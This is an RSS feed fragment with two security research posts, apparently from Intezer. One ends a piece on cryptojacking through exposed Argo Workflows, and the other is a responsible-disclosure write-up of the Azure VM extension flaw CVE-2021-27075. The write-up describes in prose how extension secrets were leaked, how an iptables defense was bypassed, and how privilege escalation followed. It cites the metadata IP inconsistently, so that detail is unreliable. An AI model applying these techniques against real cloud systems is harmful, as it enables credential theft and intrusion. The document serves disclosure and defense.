&lt;code&gt;kannix/monero-miner&lt;/code&gt;, was being deployed. An example of an in the wild attack,
still running on an exposed cluster for nine months, is shown below.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2021/07/new-attacks-on-kubernetes-via-misconfigured-argo-workflows/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2021/07/new-attacks-on-kubernetes-via-misconfigured-argo-workflows/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;kannix/monero-miner&lt;/code&gt; (now removed from Docker Hub) was a popular image
which used XMRig to mine for Monero cryptocurrency. Its ease of use allowed it
to be conveniently used by threat actors of any skill level to conduct
cryptojacking; since all that was required was to change the address of who the
mined cryptocurrency would be deposited to. This same container was mentioned
in a blog post by
&lt;a href="https://azure.microsoft.com/en-us/blog/detect-largescale-cryptocurrency-mining-attack-against-kubernetes-clusters/"target="_blank" rel="noopener"&gt;Azure Security Center&lt;/a&gt;,
which stated that this container was used in a large-scale cryptocurrency
mining attack against Kubernetes clusters.&lt;/p&gt;
&lt;p&gt;In Docker Hub there are still a number of options for Monero mining that
attackers can use. With a simple search it shows that there are at least 45
other containers with millions of downloads.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2021/07/new-attacks-on-kubernetes-via-misconfigured-argo-workflows/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Using another popular container, &lt;code&gt;giansalex/monero-miner&lt;/code&gt;, we detected an XMRig
Miner running on the cluster via Argo Workflows.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2021/07/new-attacks-on-kubernetes-via-misconfigured-argo-workflows/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Mitigation Advice&lt;span class="hx:absolute hx:-mt-20" id="mitigation-advice"&gt;&lt;/span&gt;
&lt;a href="#mitigation-advice" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;For a quick check that an instance is misconfigured, try accessing the Argo
Workflows dashboard from an unauthenticated incognito browser outside your
corporate environment. Another option is to query the API of your instance and
check the status code. Make a HTTP GET request to
&lt;code&gt;[your.instance:port]/api/v1/info&lt;/code&gt;. A returned HTTP status code of
&lt;code&gt;401 Unauthorized&lt;/code&gt; while being an unauthenticated user will indicate a
correctly configured instance, whereas a successful status code of
&lt;code&gt;200 Success&lt;/code&gt; could indicate that an unauthorized user is able to access the
instance.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2021/07/new-attacks-on-kubernetes-via-misconfigured-argo-workflows/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It is critical to ensure that best practices for permissions are followed in
order to prevent unauthorized activity in your environments. Methodologies such
as the
&lt;a href="https://www.cyberark.com/what-is/least-privilege/"target="_blank" rel="noopener"&gt;principle of least privilege&lt;/a&gt;
(PoLP) should be followed and always refer to the
&lt;a href="https://argoproj.github.io/argo-workflows/security/"target="_blank" rel="noopener"&gt;application documentation&lt;/a&gt;
for best practices on security.&lt;/p&gt;
&lt;p&gt;Even if your cluster is deployed on a
&lt;a href="https://intezer.com/blog/container-security/do-you-really-need-kubernetes/?utm_campaign=research-blog&amp;amp;utm_content=new-attacks-on-kubernetes-via-misconfigured-argo-workflows&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;managed cloud Kubernetes service&lt;/a&gt;
such as Amazon Web Services (AWS), EKS or Azure Kubernetes Service (AKS), the
shared responsibility model still states that the cloud customer, not the cloud
provider, is responsible for taking care of all necessary security
configurations for the applications they deploy.&lt;/p&gt;
&lt;p&gt;If you suspect that your Argo instance has been misconfigured and exposed to
the internet with excessive permissions, check for any suspicious activity in
the logs and in the workflow timeline. Make sure that there are no workflows
that have been running for an excessive amount of time. This might be an
indicator of a cryptominer running on your cluster. You can also check out our
article on
&lt;a href="https://intezer.com/blog/cloud-security/best-practices-for-securing-a-kubernetes-environment/?utm_campaign=research-blog&amp;amp;utm_content=new-attacks-on-kubernetes-via-misconfigured-argo-workflows&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;best practices for securing your Kubernetes environment&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Runtime Protection for Kubernetes Security&lt;span class="hx:absolute hx:-mt-20" id="runtime-protection-for-kubernetes-security"&gt;&lt;/span&gt;
&lt;a href="#runtime-protection-for-kubernetes-security" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;It is impossible to completely remove all vulnerabilities or misconfigurations
in cloud applications deployed by any entity. New attack vectors,
vulnerabilities and misconfigurations are being detected and exploited all the
time. Therefore, it is important to have a safety net that can always ensure
that only trusted code is running in your environment. In the event that an
attacker has exploited a misconfiguration or vulnerability in your K8s cluster
or applications running on clusters, runtime protection solutions give
immediate visibility over all code running on your pods, nodes, and clusters,
and help you detect and respond to attacks in your environment.&lt;/p&gt;</description></item><item><title>CVE-2021-27075: Microsoft Azure Vulnerability Allows Privilege Escalation and Leak of Private Data</title><link>https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/</link><pubDate>Tue, 11 May 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/</guid><description>
&lt;p&gt;In this post I will explain how the Microsoft Azure Virtual Machine (VM)
extension works and how we found a fatal vulnerability in the extension
mechanism affecting Azure VM Linux systems. As part of the responsible
disclosure policy, we reported the vulnerability to Microsoft Security Response
Center (MSRC). They soon patched and assigned it
&lt;a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27075"target="_blank" rel="noopener"&gt;CVE-2021-27075&lt;/a&gt;. This
vulnerability would have allowed an unprivileged user to leak any Azure VM
extension&amp;rsquo;s private data. Paired with the design of the VMAccess extension, an
official Azure extension built for assisting system admins, we will demonstrate
how this could have been used to achieve &lt;strong&gt;privilege escalation&lt;/strong&gt; and possibly
&lt;strong&gt;lateral movement&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/images/fig1.png" title="Proof of Concept" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Proof of Concept&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Azure VM Extensions&lt;span class="hx:absolute hx:-mt-20" id="azure-vm-extensions"&gt;&lt;/span&gt;
&lt;a href="#azure-vm-extensions" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Azure VM offers developers and admins an integrated plugin system to install
additional components onto their machines. Both first party (e.g., Microsoft
Azure Diagnostics and Microsoft Azure Network Watcher) and third party apps
(like Datadog Agent) are offered through this mechanism.&lt;/p&gt;
&lt;p&gt;To manage extension installations and keep them up to date, Microsoft Azure
Guest Agent is installed on the system. This component is open-source and
hosted on &lt;a href="https://github.com/Azure/WALinuxAgent"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt;. This agent, along
with Azure extensions, is installed at &lt;code&gt;/var/lib/waagent&lt;/code&gt;. This directory is
inaccessible for non-root users as it contains extension-related secrets.&lt;/p&gt;
&lt;p&gt;Extensions are installed in this directory in their own sub directories, e.g.,
&lt;code&gt;/var/lib/waagent/Microsoft.Azure.NetworkWatcher.NetworkWatcherAgentLinux-1.4.1587.1&lt;/code&gt;
Many shared configurations are laid out in the root extension directory
&lt;code&gt;/var/lib/waagent&lt;/code&gt;. Here is an example of the directory layout:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/images/fig2.png" title="/var/lib/waagent directory structure" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;/var/lib/waagent directory structure&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;When an extension is added to the VM, the extension&amp;rsquo;s configuration file is
updated behind the scenes in the Azure VM manager, also known as the
&lt;a href="https://azure.microsoft.com/en-us/resources/videos/fabric-controller-internals-building-and-updating-high-availability-apps/"target="_blank" rel="noopener"&gt;Fabric Controller&lt;/a&gt;.
The WAAgent constantly polls the Fabric Controller for this file, and once
updated, the extension is downloaded and deployed. In Microsoft Azure Cloud,
the WAAgent communicates with the &amp;lsquo;Wire Server,&amp;rsquo; an HTTP service belonging to
the Fabric Controller. WAAgent communicates with the Fabric Controller by
accessing a special IP address:
&lt;a href="https://docs.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16"target="_blank" rel="noopener"&gt;&lt;code&gt;168.63.129.16&lt;/code&gt;&lt;/a&gt;.
Through some testing, we discovered that this endpoint is the same as
&lt;code&gt;169.254.169.254&lt;/code&gt;, better known as the
&lt;a href="https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service"target="_blank" rel="noopener"&gt;Azure Instance Metadata Service&lt;/a&gt;
IP address. The WAAgent receives the extension configuration URL by parsing the
&amp;lsquo;GoalState.&amp;rsquo;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/images/fig3.png" title="GoalState endpoint request" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;GoalState endpoint request&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A response looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/images/fig6.png" title="GoalState endpoint response" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;GoalState endpoint response&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The GoalState contains URLs to all relevant configurations available to the
Wire Server. Using the GoalState we can query the &lt;code&gt;ExtensionsConfig&lt;/code&gt; file
ourselves:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/images/fig7.png" title="ExtensionsConfig endpoint request" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;ExtensionsConfig endpoint request&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Here is an example of how the LinuxDiagnostic extension configuration might
look:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/images/fig8.png" title="ExtensionsConfig endpoint response" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;ExtensionsConfig endpoint response&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;protectedSettings&lt;/code&gt; field holds sensitive extension configurations such as
private keys and is additionally protected with an encryption scheme. The
&lt;code&gt;protectedSettingsCertThumbprint&lt;/code&gt; field holds the filename of the key used to
decrypt the &lt;code&gt;protectedSettings&lt;/code&gt;. This key is stored in
&lt;code&gt;/var/lib/waagent/F54265F38F8D16C35C0E1FD3190882831A6C4384.prv&lt;/code&gt; with its
certificate stored in
&lt;code&gt;/var/lib/waagent/F54265F38F8D16C35C0E1FD3190882831A6C4384.crt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The private key and certificate pair are not supplied by the &lt;code&gt;ExtensionConfig&lt;/code&gt;
file. So, how do they get deployed to the server?&lt;/p&gt;
&lt;p&gt;For this deployment, the &lt;strong&gt;Certificates&lt;/strong&gt; endpoint is used. After reverse
engineering the WAAgent communication with the Wire Server, we observed that
the Certificates endpoint requires a &amp;rsquo;transport&amp;rsquo; certificate which is used to
supply the &lt;code&gt;F542…&lt;/code&gt; extension key:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/images/fig9.png" title="Certificates endpoint request" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Certificates endpoint request&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The Wire Server returns an encrypted form of the extension key which can be
decrypted via the Transport Certificate&amp;rsquo;s private key.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/images/fig10.png" title="Certificates endpoint response" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Certificates endpoint response&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Leaking Azure VM Extensions&amp;rsquo; Private Data&lt;span class="hx:absolute hx:-mt-20" id="leaking-azure-vm-extensions-private-data"&gt;&lt;/span&gt;
&lt;a href="#leaking-azure-vm-extensions-private-data" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Flaw #1: Certificates Endpoint Does Not Validate Transport Certificate&lt;span class="hx:absolute hx:-mt-20" id="flaw-1-certificates-endpoint-does-not-validate-transport-certificate"&gt;&lt;/span&gt;
&lt;a href="#flaw-1-certificates-endpoint-does-not-validate-transport-certificate" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;An attacker can create their own Transport Private Key and its corresponding
Transport Certificate. Using the Certificate endpoint, the attacker supplies
their own Transport Certificate and receives an encrypted form of the keys from
the Wire Server (in our example this is the
&lt;code&gt;F54265F38F8D16C35C0E1FD3190882831A6C4384&lt;/code&gt; key).&lt;/p&gt;
&lt;p&gt;Finally, the encrypted keys are decrypted via the Transport Key and the
attacker can proceed to decrypt the &lt;code&gt;protectedSettings&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;To our surprise, after developing the PoC with the root user, it would not work
with an unprivileged user. It seems that packets destined to the Wire Server
endpoint at &lt;code&gt;168.63.129.16&lt;/code&gt; were not sent out by the server. This is because of
an iptables rule that drops packets which aren&amp;rsquo;t from user ID 0 (root) to the
endpoint:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/images/fig13.png" title="Azure VM IPTables" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Azure VM IPTables&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Flaw #2: Bypassing Wire Server Unprivileged Access Defense&lt;span class="hx:absolute hx:-mt-20" id="flaw-2-bypassing-wire-server-unprivileged-access-defense"&gt;&lt;/span&gt;
&lt;a href="#flaw-2-bypassing-wire-server-unprivileged-access-defense" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;As mentioned earlier, we discovered that &lt;code&gt;164.254.164.254&lt;/code&gt; is the same machine
as &lt;code&gt;168.63.129.16&lt;/code&gt;. We replaced every request to &lt;code&gt;168.63.129.16&lt;/code&gt; with
&lt;code&gt;164.254.164.254&lt;/code&gt; and this allowed us to communicate with the Wire Server
without a privileged user. In addition, this iptables defense did not apply to
processes that run in Docker containers (even when the PoC ran as an
unprivileged user), allowing containers to leak information about their host
through the Wire Server. This issue was fixed by MSRC as well.&lt;/p&gt;
&lt;h2&gt;Combining the Flaws&lt;span class="hx:absolute hx:-mt-20" id="combining-the-flaws"&gt;&lt;/span&gt;
&lt;a href="#combining-the-flaws" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Utilizing both flaws, an unprivileged user can leak any Azure VM extension&amp;rsquo;s
private settings. This is especially dangerous when paired with extensions that
handle sensitive data.&lt;/p&gt;
&lt;p&gt;A particularly severe example is the
&lt;a href="https://azure.microsoft.com/nl-nl/blog/using-vmaccess-extension-to-reset-login-credentials-for-linux-vm/"target="_blank" rel="noopener"&gt;VMAccess&lt;/a&gt;
extension, an official Microsoft Azure extension used for changing passwords
conveniently on controlled machines.
&lt;a href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"target="_blank" rel="noopener"&gt;Guardicore&lt;/a&gt;
previously documented that VMAccess persists passwords in the
&lt;code&gt;protectedSettings&lt;/code&gt; field even after it&amp;rsquo;s done changing the user&amp;rsquo;s password and
no longer needs to keep it on disk.&lt;/p&gt;
&lt;p&gt;Combined with the vulnerability we found, an attacker would be able to elevate
themself to a higher privileged user by leaking the VMAccess admin password.
Also, in the event that the VMAccess password is shared with other Azure VMs
(as is often the case), the attacker could perform lateral movement across the
system. This is what the flow looks like:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/images/fig14.png" title="Vulnerability flow" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Vulnerability flow&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;And the proof of concept:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/images/fig15.png" title="Leaking VMAccess extension data" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Leaking VMAccess extension data&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Takeaways&lt;span class="hx:absolute hx:-mt-20" id="takeaways"&gt;&lt;/span&gt;
&lt;a href="#takeaways" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The CVE issued by Microsoft also applies to other Azure products such as Azure
Spring Cloud, as discovered by researcher
&lt;a href="https://twitter.com/wtm_offensi"target="_blank" rel="noopener"&gt;Wouter ter Maat&lt;/a&gt; independently at a later
date, who was also credited in the CVE. Microsoft fixed the issue after
revamping the whole Linux extension mechanism and no user interaction is needed
to update VMs. This research is meant to further the discussion around the
relationship between cloud service providers (CSPs) and their customers.
Ultimately, the customer is responsible for any data breach that occurs. For a
more complete cloud security strategy, Intezer recommends adopting a
two-pronged approach. Do the basics, like fixing known vulnerabilities and
hardening your systems to reduce the likelihood of getting attacked. You also
need runtime threat detection to identify and respond to attacks as they occur
following unknown vulnerability exploitation or a backdoor in the supply chain.&lt;/p&gt;</description></item></channel></rss>